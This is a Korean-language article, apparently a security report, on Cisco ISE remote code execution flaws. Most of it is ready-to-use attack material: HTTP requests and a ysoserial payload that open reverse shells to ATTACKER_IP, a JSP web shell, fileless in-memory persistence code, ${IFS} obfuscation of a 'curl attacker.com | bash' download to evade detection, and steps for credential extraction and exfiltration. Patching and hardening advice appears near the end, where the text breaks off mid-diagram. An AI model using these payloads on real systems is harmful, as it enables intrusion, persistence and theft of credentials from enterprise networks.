
Cisco ISE RCE 취약점에 대한 심층 기술 분석으로, 보안 연구원과 침투 테스터를 위한 익스플로잇 기법, 탐지 회피 방법, 그리고 대응 전략을 포함합니다.
Cisco Identity Services Engine (ISE) 의 원격 코드 실행(RCE) 취약점은 기업 경계 보안의 중대한 분기점을 나타냅니다. 최정예 보안 연구원에게 ISE는 단순한 인증 구성 요소가 아닙니다. 전체 네트워크 인프라에 대한 접근을 제어하는 마스터 키입니다.
치명적 위험: 인증되지 않은 공격자는 기존 모니터링 시스템에서 감지 가능한 흔적을 남기지 않고 5분 이내에 시스템에 대한 완전한 제어권을 획득할 수 있습니다.
| CVE | 엔드포인트 | 메서드 | 인증 | 심각도 |
|---|---|---|---|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ 없음 | 치명적 |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ 취약 | 치명적 |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ 우회 가능 | 치명적 |
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - 노출된 NAC 아키텍처 │
├─────────────────────────────────────────────────────────┤
│ │
│ [인터넷] ──→ [방화벽] ──→ [ISE 관리 포트] │
│ ↓ │
│ [인증되지 않은 API] │
│ ↓ │
│ [Java 역직렬화 계층] │
│ ↓ │
│ [Tomcat 웹 컨테이너] │
│ ↓ │
│ [OS 명령 실행] │
│ ↓ │
│ [전체 네트워크 손상] │
│ │
└─────────────────────────────────────────────────────────┘
중요 발견: /deployment-rpc/ API는 처리 초기 단계에서 세션 토큰을 검증하지 않아 인증을 완전히 우회할 수 있습니다.
1단계: 정찰
# 포트 및 서비스 스캔
nmap -sV -p 8443,8080 <ISE_IP>
# RPC 엔드포인트 열거
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
2단계: 직접 익스플로잇
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
결과: 기본 구성에서 Tomcat 사용자가 root로 실행되므로 root 권한으로 임의 명령 실행.
[직렬화된 페이로드] ──→ [API 엔드포인트] ──→ [ObjectInputStream.readObject()]
↓
[Gadget Chain 실행]
↓
[Runtime.exec() 호출]
PoC 페이로드 (ysoserial 사용):
# 악성 gadget chain 생성
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# 페이로드 전송
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
영향: "읽기 전용" 계정에서 root로 권한 상승.
[웹 셸] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat이 JSP 파일 처리]
↓
[root 권한으로 실행]
악성 웹 셸 예시:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
사후 접근:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
최정예 해커는 절대 디스크에 파일을 남기지 않습니다. 메모리 주입은 보이지 않는 지속성 기술입니다:
// Tomcat ClassLoader 주입
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
장점: 기존 파일 스캔 도구(OSSEC, Tripwire)는 아무것도 감지하지 못합니다.
${IFS}를 사용한 명령 난독화# 원본 명령 (감지 가능)
curl http://attacker.com/shell.sh | bash
# 난독화된 명령 (IDS 회피)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# 변수 간접 참조 변형
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'악성_명령'
작동 원리: 탐지 시스템은 키워드 패턴(curl, bash, |)을 찾습니다. ${IFS}(내부 필드 구분자)를 사용하면 bash에서 의미를 변경하지 않고 단어를 분리합니다.
# ❌ 감지 가능 - /etc/cron.d/ 파일
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ 보이지 않음 - Tomcat 프로세스 주입
# 1. 메모리에 netcat 리스너 생성
# 2. 영구 연결을 유지하는 스레드를 JVM에 주입
# 3. 파일 없음, 보이는 고아 프로세스 없음
┌──────────────────────────────────────────────────────────────────┐
│ 원래 ZERO TRUST 아키텍처 │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [사용자] ──→ [ISE 인증] ──→ [장치 상태 확인] │
│ ↓ │
│ [마이크로 세분화 정책] │
│ ↓ │
│ [리소스에 대한 제한된 접근] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ ISE 손상 후 ⬇️
┌──────────────────────────────────────────────────────────────────┐
│ 손상된 아키텍처 │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [공격자] ──→ [제어된 ISE] ──→ [수정된 정책] │
│ ↓ │
│ [마이크로 세분화 비활성화] │
│ ↓ │
│ [네트워크 전체 측면 이동] │
│ ↓ │
│ [데이터베이스, 서버, IoT 접근] │
│ │
└──────────────────────────────────────────────────────────────────┘
1단계: 내부 정찰
# 손상된 ISE에서 네트워크 열거
nmap -sV -p 22,3306,5432,1433 10.0.0.0/8 --script smb-enum-shares
# ISE에 저장된 자격 증명 추출
grep -r "password" /opt/CSCOlumos/config/ | grep -v "^#"
2단계: 악성 정책 주입
ISE 정책 수정:
├─ 숨겨진 관리 사용자 생성
├─ 세분화 규칙 수정
├─ VLAN 간 무단 트래픽 허용
└─ DNS 트래픽을 제어된 서버로 리디렉션
3단계: 지속성 및 데이터 유출
유출된 데이터:
├─ 인증된 모든 사용자의 자격 증명
├─ 네트워크 정책 구성
├─ 접근 로그 (흔적 삭제용)
├─ 내부 SSL/TLS 인증서
└─ IoT 장치 및 서버 정보
# 현재 버전 확인
ssh admin@<ISE_IP>
show version
# 취약한 버전:
# - ISE 3.0.x ~ 3.2.x (전체)
# - ISE 3.3.0 ~ 3.3.6
# - ISE 3.4.0 ~ 3.4.1
# 안전한 버전:
# - ISE 3.3 Patch 7 이상
# - ISE 3.4 Patch 2 이상
# - ISE 3.5 (출시 시)
# 업데이트 절차
admin# copy https://<PATCH_SERVER>/ise-3.3.7-patch.tar admin:password
admin# software install ise-3.3.7-patch.tar
admin# reload
! 액세스 스위치에서 (ISE 앞)
interface GigabitEthernet0/1
description ISE-Management
switchport mode access
switchport access vlan 999
spanning-tree portfast
no shutdown
! 전용 관리 VLAN (VRF)
ip vrf MGMT
description Management VRF - Isolated
interface Vlan999
ip vrf forwarding MGMT
ip address 10.255.255.1 255.255.255.0
! ISE용 제한적 ACL
ip access-list extended ISE-MGMT-ONLY
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8443
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8080
deny ip any any log
! ACL 적용
interface GigabitEthernet0/1
ip access-group ISE-MGMT-ONLY in
# ISE에 SSH
ssh admin@<ISE_IP>
# Tomcat 구성 접근
config t
system
tomcat
disable-rpc-endpoints yes
disable-file-upload yes
exit
exit
# Tomcat 재시작
admin# application stop ise
admin# application start ise
┌─────────────────────────────────────────────────────────┐
│ 강화된 ISE 아키텍처 (ZERO TRUST) │
├─────────────────────────────────────
**🚨 보안 보고서: Cisco ISE RCE**
## Red Team vs Blue Team 관점
> **⚠️ 고지:** 이 문서는 합법적인 보안 연구, 승인된 침투 테스트 및 방어적 대응을 위한 것입니다. 승인 없는 모든 익스플로잇은 불법입니다.